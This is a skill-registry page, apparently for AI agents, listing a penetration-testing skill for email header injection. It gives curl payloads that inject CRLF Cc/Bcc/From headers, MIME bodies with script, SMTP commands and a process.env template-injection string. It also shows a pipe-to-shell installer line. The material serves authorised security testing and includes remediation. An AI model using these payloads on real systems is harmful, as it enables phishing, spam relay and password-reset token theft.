Pular para o conteúdo
Novo

DeepSeek V4.1 Flash grátis por 7 dias: 10M tokens por dia após recarga de $10 ou mais. Até 30/11.

Como funciona
mukul975/testing-for-email-header-injectionWeb e bug bounty

testing-for-email-header-injection

⁨Tests web application email functionality (contact forms, password reset,⁩

v1.03 instalações+3 em 7 dias36,3 mil EstrelasApache-2.0sincronizado há 11 horas

Instalar

Ainda não tem a CLI da NotHoly? Instale primeiro.

$ curl -fsSL https://notholy.com/install.sh | sh
$ notholy skills install mukul975/testing-for-email-header-injection

Grava em ⁦~/.notholy/skills⁩ depois de conferir a assinatura e o SHA-256.

AssinaturaAssinado, ed25519
8woEtN2+VA…CGZzgeBw==A CLI confere o SHA-256 e a assinatura antes de gravar qualquer arquivo.
Pacote733fae43…3f619ff3
733fae430137…3a7c3f619ff34 arquivos · ⁦9.2 KB⁩
VarreduraMédio2 achados
  • Script executável junto com a skillscripts/agent.py
  • Links para domínios externos
Ver a varredura completa
Fontegithub.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/testing-for-email-header-injection@54a7988

Este item ainda não foi escrito no seu idioma, então aparece em English.

When to Use

  • When testing contact forms, feedback forms, or "email a friend" functionality
  • During assessment of password reset email functionality
  • When testing newsletter subscription or notification email systems
  • During penetration testing of applications that send emails based on user input
  • When auditing email-related API endpoints for header injection

Prerequisites

  • Burp Suite for intercepting and modifying HTTP requests
  • Understanding of SMTP protocol and email header structure
  • Knowledge of CRLF injection techniques (\r\n sequences)
  • Test email accounts for receiving injected emails
  • Access to application features that trigger email sending
  • SMTP server logs access for monitoring injection attempts

Workflow

Step 1 — Identify Email Injection Points

bash
# Identify form fields that end up in email headers:
# - "From" name or email address fields
# - "To" or "CC" fields in sharing features
# - Subject line inputs
# - Reply-To fields

# Common endpoints:
# POST /contact - Contact forms
# POST /share - Share via email features
# POST /invite - Invitation systems
# POST /api/send-email - Email API endpoints
# POST /forgot-password - Password reset forms

# Test basic functionality first
curl -X POST http://target.com/contact \
  -d "name=Test&[email protected]&subject=Hello&message=Test message"

Step 2 — Test for CRLF Header Injection

bash
# Inject additional email headers via CRLF in the email field
curl -X POST http://target.com/contact \
  -d "name=Test&[email protected]%0ACc:[email protected]&message=Test"

# Inject BCC header
curl -X POST http://target.com/contact \
  -d "name=Test&[email protected]%0ABcc:[email protected]&message=Test"

# Inject via the name field
curl -X POST http://target.com/contact \
  -d "name=Test%0ACc:[email protected]&[email protected]&message=Test"

# Inject via subject field
curl -X POST http://target.com/contact \
  -d "name=Test&[email protected]&subject=Hello%0ABcc:[email protected]&message=Test"

# Try different CRLF encoding variants
# %0D%0A (CRLF)
curl -X POST http://target.com/contact \
  -d "[email protected]%0D%0ACc:[email protected]"

# %0A (LF only)
curl -X POST http://target.com/contact \
  -d "[email protected]%0ACc:[email protected]"

# %0D (CR only)
curl -X POST http://target.com/contact \
  -d "[email protected]%0DCc:[email protected]"

# Double encoding
curl -X POST http://target.com/contact \
  -d "[email protected]%250ACc:[email protected]"

Step 3 — Inject Custom Email Content

bash
# Override email body by injecting Content-Type and body
curl -X POST http://target.com/contact \
  -d "[email protected]%0AContent-Type:text/html%0A%0A<h1>Phishing</h1>"

# Inject additional MIME parts
curl -X POST http://target.com/contact \
  -d "[email protected]%0AContent-Type:multipart/mixed;boundary=boundary123%0A--boundary123%0AContent-Type:text/html%0A%0A<script>alert(1)</script>"

# Override From header for email spoofing
curl -X POST http://target.com/contact \
  -d "[email protected]%0AFrom:[email protected]"

# Inject Reply-To for phishing
curl -X POST http://target.com/contact \
  -d "[email protected]%0AReply-To:[email protected]"

Step 4 — Test IMAP/SMTP Injection

bash
# IMAP command injection via email field
curl -X POST http://target.com/webmail/search \
  -d "query=test%0AEXAMINE INBOX"

# SMTP command injection
curl -X POST http://target.com/api/send \
  -d "[email protected]%0ARCPT TO:[email protected]"

# SMTP VRFY command injection
curl -X POST http://target.com/api/verify \
  -d "[email protected]%0AVRFY admin"

# Test SMTP relay abuse
curl -X POST http://target.com/contact \
  -d "[email protected]%0ATo:[email protected]%0ATo:[email protected]%0ATo:[email protected]"

Step 5 — Test JSON-Based Email APIs

bash
# JSON API header injection
curl -X POST http://target.com/api/send-email \
  -H "Content-Type: application/json" \
  -d '{"to":"[email protected]\nCc:[email protected]","subject":"Test","body":"Test"}'

# Array injection for multiple recipients
curl -X POST http://target.com/api/send-email \
  -H "Content-Type: application/json" \
  -d '{"to":["[email protected]","[email protected]"],"subject":"Test","body":"Test"}'

# Template injection in email body
curl -X POST http://target.com/api/send-email \
  -H "Content-Type: application/json" \
  -d '{"to":"[email protected]","subject":"Test","body":"{{constructor.constructor(\"return process.env\")()}}"}'

Step 6 — Validate Findings

bash
# Check if injected CC/BCC emails were received
# Monitor [email protected] inbox for received copies

# Verify header injection via email raw source
# In received email, check "View Original" or "Show Headers"
# Look for injected Cc:, Bcc:, From:, or Reply-To: headers

# Test if the application is usable as a spam relay
# by injecting multiple recipients in BCC

# Document the full injection chain
# 1. Injection point (which field)
# 2. Encoding required (CRLF, URL encoding)
# 3. Impact (spam relay, phishing, data theft)

Key Concepts

Concept Description
CRLF Injection Injecting carriage return and line feed characters to create new email headers
Header Injection Adding unauthorized headers (Cc, Bcc, From) to outgoing emails
Spam Relay Abusing email functionality to send spam to arbitrary recipients
Email Spoofing Modifying From or Reply-To headers to impersonate trusted senders
MIME Manipulation Injecting MIME boundaries to override email body content
SMTP Command Injection Injecting raw SMTP commands through unsanitized email parameters
Newline Characters \r\n (CRLF), \n (LF), \r (CR) used to separate email headers

Tools & Systems

Tool Purpose
Burp Suite HTTP proxy for modifying email-related form submissions
swaks Swiss Army Knife for SMTP testing and header injection validation
OWASP ZAP Automated scanner with email injection detection
mailhog Local SMTP testing server for capturing injected emails
smtp4dev Development SMTP server for monitoring email injection results
Nuclei Template scanner with email header injection detection templates

Common Scenarios

  1. Spam Relay — Inject BCC headers to relay mass emails through the target's SMTP server, bypassing spam filters that trust the sender domain
  2. Phishing via Contact Form — Modify From and Reply-To headers to send phishing emails appearing to originate from the target organization
  3. Password Reset Hijack — Inject CC header in password reset flow to receive a copy of reset tokens sent to the victim
  4. Email Content Override — Inject MIME Content-Type headers to replace legitimate email body with malicious phishing content
  5. Internal Email Abuse — Use header injection to send emails to internal addresses not normally accessible through the application

Output Format

text
## Email Header Injection Report
- **Target**: http://target.com/contact
- **Injection Point**: email field in contact form
- **Encoding Required**: URL-encoded LF (%0A)

### Findings
| # | Field | Payload | Result | Severity |
|---|-------|---------|--------|----------|
| 1 | email | [email protected]%0ACc:[email protected] | CC header injected | High |
| 2 | email | [email protected]%0ABcc:[email protected] | BCC header injected | High |
| 3 | name | Test%0AFrom:[email protected] | From spoofing | Medium |

### Remediation
- Validate email addresses with strict regex rejecting newline characters
- Strip \r, \n, and encoded variants from all email-related input
- Use parameterized email APIs that separate headers from data
- Implement rate limiting on email-sending functionality

Arquivos desta versão

Permissões

PermissãoDeclaradaEncontrada na varredura
Lê arquivosNãoNão
Grava arquivosSimSim
Roda comandos no shellSimSim
Usa a redeSimSim
Usa conectoresNãoNão
Controla um navegadorNãoNão

Achados da varredura

Revisado em 13 de nov. de 2026

  1. MédiaArquivo · Script executável junto com a skillscripts/agent.py
  2. InfoLink · Links para domínios externos

Uma varredura limpa reduz o risco, mas não prova que o pacote é seguro. Leia o que você instala.

VersãoPublicada emCommitSHA-256AssinaturaMudança de permissão
v1.013 de nov. de 202654a7988733fae43Assinada–

Pergunte tudo o que o seu escopo permite.

Crie a conta, adicione créditos e faça a primeira pergunta no chat ou no terminal.

  1. 1/3

    Crie a conta

    Individual ou empresa. Dá para virar empresa depois sem perder saldo nem chaves.

    Pessoa físicaEmpresa
  2. 2/3

    Adicione créditos

    No cartão. Você paga por token, sem assinatura.

    $5.00recarga mínima
  3. 3/3

    Pergunte

    No chat, ou instale o CLI e rode notholy login no terminal.

    $ notholy login